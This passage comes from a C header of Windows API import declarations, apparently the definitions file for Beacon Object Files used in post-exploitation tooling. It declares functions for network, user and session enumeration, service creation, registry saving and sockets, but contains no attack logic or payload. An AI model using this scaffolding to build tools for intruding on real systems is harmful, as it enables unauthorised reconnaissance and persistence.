_Value,char *_Dest,int _Radix);\nWINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);\nWINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);\nWINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);\nWINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize);\nWINBASEAPI void __cdecl MSVCRT$free(void *_Memory);\nWINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nWINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);\nWINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg);\nWINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...);\nWINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src);\nWINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);\nWINBASEAPI size_t __cdecl MSVCRT$wcstombs(char * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _MaxCount);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcscmp(const wchar_t *_lhs,const wchar_t *_rhs);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t * __restrict__ _Str,const wchar_t * __restrict__ _Delim);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcstok_s(wchar_t *_Str,const wchar_t *_Delim,wchar_t **_Context);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_SubStr);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcscat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source, size_t _Count);\nWINBASEAPI wchar_t *__cdecl MSVCRT$strncat(char * __restrict__ _Dest,const char * __restrict__ _Source, size_t _Count);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcscpy(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source);\nWINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2);\nWINBASEAPI int __cdecl MSVCRT$_wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2, size_t _Count);\nWINBASEAPI int __cdecl MSVCRT$_strnicmp(const char *_Str1,const char *_Str2, size_t _Count);\nWINBASEAPI _CONST_RETURN wchar_t *__cdecl MSVCRT$wcschr(const wchar_t *_Str, wchar_t _Ch);\n\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch);\nWINBASEAPI unsigned long __cdecl MSVCRT$wcstoul(const wchar_t * __restrict__ _Str,wchar_t ** __restrict__ _EndPtr,int _Radix);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source);\nWINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount);\nWINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);\nDECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char *string1,const char *string2);\nWINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src);\nDECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strstr(const char *haystack, const char *needle);\nDECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle);\nDECLSPEC_IMPORT char *__cdecl MSVCRT$strtok(char * __restrict__ _Str,const char * __restrict__ _Delim);\n_CRTIMP char *__cdecl MSVCRT$strtok_s(char *_Str,const char *_Delim,char **_Context);\nWINBASEAPI unsigned long __cdecl MSVCRT$strtoul(const char * __restrict__ _Str,char ** __restrict__ _EndPtr,int _Radix);\nWINBASEAPI size_t __cdecl MSVCRT$strftime(char *_DstBuf,size_t _SizeInBytes,const char *_Format,const struct tm *_Tm);\nWINBASEAPI struct tm * __cdecl MSVCRT$gmtime(const time_t *_Time);\nWINBASEAPI wchar_t * __cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _Count);\n\n//DNSAPI\nDECLSPEC_IMPORT DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR,WORD,DWORD,PIP4_ARRAY,PDNS_RECORD*,PVOID*);\nDECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType);\n\n//WSOCK32\nDECLSPEC_IMPORT unsigned long __stdcall WSOCK32$inet_addr(const char *cp);\n\n//NETAPI32\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserGetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserModalsGet(LPCWSTR servername,DWORD level,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetServerEnum(LMCSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,DWORD servertype,LMCSTR domain,LPDWORD resume_handle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserGetGroups(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserGetLocalGroups(LPCWSTR servername,LPCWSTR username,DWORD level,DWORD flags,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries);\nWINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);\nWINBASEAPI DWORD WINAPI NETAPI32$NetGetAnyDCName(LPCWSTR servername,LPCWSTR domainname,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserEnum(LPCWSTR servername,DWORD level,DWORD filter,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetGroupGetUsers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR ResumeHandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetQueryDisplayInformation(LPCWSTR ServerName,DWORD Level,DWORD Index,DWORD EntriesRequested,DWORD PreferredMaximumLength,LPDWORD ReturnedEntryCount,PVOID *SortedBuffer);\nWINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupEnum(LPCWSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupGetMembers(LPCWSTR servername,LPCWSTR localgroupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserSetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE buf,LPDWORD parm_err);\nWINBASEAPI DWORD WINAPI NETAPI32$NetShareEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);\nWINBASEAPI DWORD WINAPI NETAPI32$NetSessionEnum(LPCWSTR servername, LPCWSTR UncClientName, LPCWSTR username, DWORD level, LPBYTE* bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resumehandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetWkstaUserEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resumehandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetWkstaGetInfo(LMSTR servername,DWORD level,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetStatisticsGet(LMSTR server,LMSTR service,DWORD level,DWORD options,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetRemoteTOD(LPCWSTR UncServerName,LPBYTE  *BufferPtr);\n\n//mpr\nWINBASEAPI DWORD WINAPI MPR$WNetOpenEnumW(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCEW lpNetResource, LPHANDLE lphEnum);\nWINBASEAPI DWORD WINAPI MPR$WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize);\nWINBASEAPI DWORD WINAPI MPR$WNetCloseEnum(HANDLE hEnum);\nWINBASEAPI DWORD WINAPI MPR$WNetGetNetworkInformationW(LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct);\nWINBASEAPI DWORD WINAPI MPR$WNetGetConnectionW(LPCWSTR lpLocalName, LPWSTR lpRemoteName, LPDWORD lpnLength);\nWINBASEAPI DWORD WINAPI MPR$WNetGetResourceInformationW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer, LPDWORD lpcbBuffer, LPWSTR *lplpSystem);\nWINBASEAPI DWORD WINAPI MPR$WNetGetUserW(LPCWSTR lpName, LPWSTR lpUserName,\tLPDWORD lpnLength);\nWINBASEAPI DWORD WINAPI MPR$WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD dwFlags);\nWINBASEAPI DWORD WINAPI MPR$WNetCancelConnection2W(LPCWSTR lpName, DWORD dwFlags, BOOL fForce);\n\n//user32\nWINUSERAPI int WINAPI USER32$EnumDesktopWindows(HDESK hDesktop,WNDENUMPROC lpfn,LPARAM lParam);\nWINUSERAPI int WINAPI USER32$IsWindowVisible (HWND hWnd);\nWINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd,LPSTR lpString,int nMaxCount);\nWINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd,LPSTR lpClassName,int nMaxCount);\nWINUSERAPI LPWSTR WINAPI USER32$CharPrevW(LPCWSTR lpszStart,LPCWSTR lpszCurrent);\nWINUSERAPI HWND WINAPI USER32$FindWindowExA (HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass, LPCSTR lpszWindow);\nWINUSERAPI LRESULT WINAPI USER32$SendMessageA (HWND hwnd, UINT Msg, WPARAM wParam, LPARAM lParam);\nWINUSERAPI int WINAPI USER32$GetWindowTextA(HWND  hWnd, LPSTR lpString, int nMaxCount);\nWINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd, LPTSTR lpClassName, int nMaxCount);\nWINUSERAPI BOOL WINAPI USER32$EnumChildWindows(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam);\n\n//secur32\nWINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExA (int NameFormat, LPSTR lpNameBuffer, PULONG nSize);\n\n//shlwapi\nWINBASEAPI LPSTR WINAPI SHLWAPI$StrStrIA(LPCSTR lpFirst,LPCSTR lpSrch);\nWINBASEAPI int WINAPI SHLWAPI$SHFormatDateTimeA(const FILETIME *pft, DWORD *pdwFlags, LPSTR *pszBuf, UINT cchBuf);\n\n//advapi32\nWINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid,LPSTR *StringSid);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW(LPCWSTR StringSecurityDescriptor,DWORD StringSDRevision,PSECURITY_DESCRIPTOR *SecurityDescriptor,PULONG SecurityDescriptorSize);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA (LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeNameA (LPCSTR lpSystemName, PLUID lpLuid, LPSTR lpName, LPDWORD cchName);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeDisplayNameA (LPCSTR lpSystemName, LPCSTR lpName, LPSTR lpDisplayName, LPDWORD cchDisplayName, LPDWORD lpLanguageId);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,DWORD dwDesiredAccess);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatus(SC_HANDLE hService,LPSERVICE_STATUS lpServiceStatus);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfigA(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGA lpServiceConfig,DWORD cbBufSize,LPDWORD pcbBytesNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject);\nWINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExA(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCSTR pszGroupName);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService,SC_STATUS_TYPE InfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPVOID lpInfo);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfigA(SC_HANDLE hService,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword,LPCSTR lpDisplayName);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,LPCSTR lpDisplayName,DWORD dwDesiredAccess,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword);\nWINADVAPI WINBOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService);\nWINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult);\nWINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExW(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCWSTR pszGroupName);\nWINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult);\nWINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData);\nWINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult);\nWINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR lpMachineName,HKEY hKey,PHKEY phkResult);\nWINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey);\nWINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult);\nWINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition);\nWINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExA(HKEY hKey,LPCSTR lpSubKey,REGSAM samDesired,DWORD Reserved);\nWINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueA(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName);\nWINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);\nWINADVAPI LONG WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime);\nWINADVAPI LONG WINAPI ADVAPI32$RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);\nWINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(HKEY hKey,DWORD dwIndex,LPSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime);\nWINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey,LPCSTR lpValueName);\nWINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);\nWINADVAPI LONG WINAPI ADVAPI32$RegSaveKeyExA(HKEY hKey,LPCSTR lpFile,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD Flags);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorOwner (PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID *pOwner, LPBOOL lpbOwnerDefaulted);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, PACL *pDacl, LPBOOL lpbDaclDefaulted);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetAclInformation (PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetAce (PACL pAcl, DWORD dwAceIndex, LPVOID *pAce);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid,LPWSTR *StringSid);\nWINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping);\nWINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\nWINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);\nWINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen);\nWINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService,DWORD dwNumServiceArgs,LPCSTR *lpServiceArgVectors);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ControlService(SC_HANDLE hService,DWORD dwControl,LPSERVICE_STATUS lpServiceStatus);\nWINADVAPI WINBOOL WINAPI ADVAPI32$EnumDependentServicesA(SC_HANDLE hService,DWORD dwServiceState,LPENUM_SERVICE_STATUSA lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned);\nWINADVAPI LSTATUS WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime);\n\n//NTDLL\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateFile(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtFsControlFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,ULONG IoControlCode,PVOID InputBuffer,ULONG InputBufferLength,PVOID OutputBuffer,ULONG OutputBufferLength);\n\n//IMAGEHLP\nWINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageEnumerateCertificates(HANDLE FileHandle,WORD TypeFilter,PDWORD CertificateCount,PDWORD Indices,DWORD IndexCount);\nWINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateHeader(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificateheader);\nWINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateData(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificate,PDWORD RequiredLength);\n\n//crypt32\nWINIMPM WINBOOL WINAPI CRYPT32$CryptVerifyMessageSignature (PCRYPT_VERIFY_MESSAGE_PARA pVerifyPara, DWORD dwSignerIndex, const BYTE *pbSignedBlob, DWORD cbSignedBlob, BYTE *pbDecoded, DWORD *pcbDecoded, PCCERT_CONTEXT *ppSignerCert);\nWINIMPM DWORD WINAPI CRYPT32$CertGetNameStringW (PCCERT_CONTEXT pCertContext, DWORD dwType, DWORD dwFlags, void *pvTypePara, LPWSTR pszNameString, DWORD cchNameString);\nWINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext (DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded);\nWINIMPM WINBOOL WINAPI CRYPT32$CertFreeCertificateContext (PCCERT_CONTEXT pCertContext);\nWINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty (PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData);\nWINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateChain (HCERTCHAINENGINE hChainEngine, PCCERT_CONTEXT pCertContext, LPFILETIME pTime, HCERTSTORE hAdditionalStore, PCERT_CHAIN_PARA pChainPara, DWORD dwFlags, LPVOID pvReserved, PCCERT_CHAIN_CONTEXT *ppChainContext);\nWINIMPM VOID WINAPI CRYPT32$CertFreeCertificateChain (PCCERT_CHAIN_CONTEXT pChainContext);\nWINIMPM PCCRYPT_OID_INFO WINAPI CRYPT32$CryptFindOIDInfo (DWORD dwKeyType, void *pvKey, DWORD dwGroupId);\n\n//WS2_32\n// defining this here to avoid including ws2tcpip.h which results in include order warnings when bofs include windows.h before bofdefs.h\ntypedef struct addrinfo {\n    int ai_flags;\n    int ai_family;\n    int ai_socktype;\n    int ai_protocol;\n    size_t ai_addrlen;\n    char *ai_canonname;\n    struct sockaddr *ai_addr;\n    struct addrinfo *ai_next;\n} ADDRINFOA,*PADDRINFOA;\n\n//WS2_32\nDECLSPEC_IMPORT int __stdcall WS2_32$connect(SOCKET sock, const struct sockaddr* name, int namelen);\nDECLSPEC_IMPORT int __stdcall WS2_32$closesocket(SOCKET sock);\nDECLSPEC_IMPORT void __stdcall WS2_32$freeaddrinfo(struct addrinfo* ai);\nDECLSPEC_IMPORT int __stdcall WS2_32$getaddrinfo(char* host, char* port, const struct addrinfo* hints, struct addrinfo** result);\nDECLSPEC_IMPORT u_long __stdcall WS2_32$htonl(u_long hostlong);\nDECLSPEC_IMPORT u_short __stdcall WS2_32$htons(u_short hostshort);\nDECLSPEC_IMPORT char * __stdcall WS2_32$inet_ntoa(struct in_addr in);\nDECLSPEC_IMPORT int __stdcall WS2_32$ioctlsocket(SOCKET sock, long cmd, u_long* arg);\nDECLSPEC_IMPORT int __stdcall WS2_32$select(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout);\nDECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type, int protocol);\nDECLSPEC_IMPORT int __stdcall WS2_32$__WSAFDIsSet(SOCKET sock, struct fd_set* fdset);\nDECLSPEC_IMPORT int __stdcall WS2_32$WSAGetLastError();\nDECLSPEC_IMPORT LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze);\nDECLSPEC_IMPORT INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr);\n\n//dnsapi\nDECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType);\nDECLSPEC_IMPORT int WINAPI DNSAPI$DnsGetCacheDataTable(PVOID data);\n\n//OLE32\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx (LPVOID pvReserved, DWORD dwCoInit);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoUninitialize (void);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity (PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, void *pReserved3);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString (LPCOLESTR lpsz, LPCLSID pclsid);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString (LPCOLESTR lpsz, LPIID lpiid);\nDECLSPEC_IMPORT int     WINAPI OLE32$StringFromGUID2 (REFGUID rguid, LPOLESTR lpsz, int cchMax);\nDECLSPEC_IMPORT\tHRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD 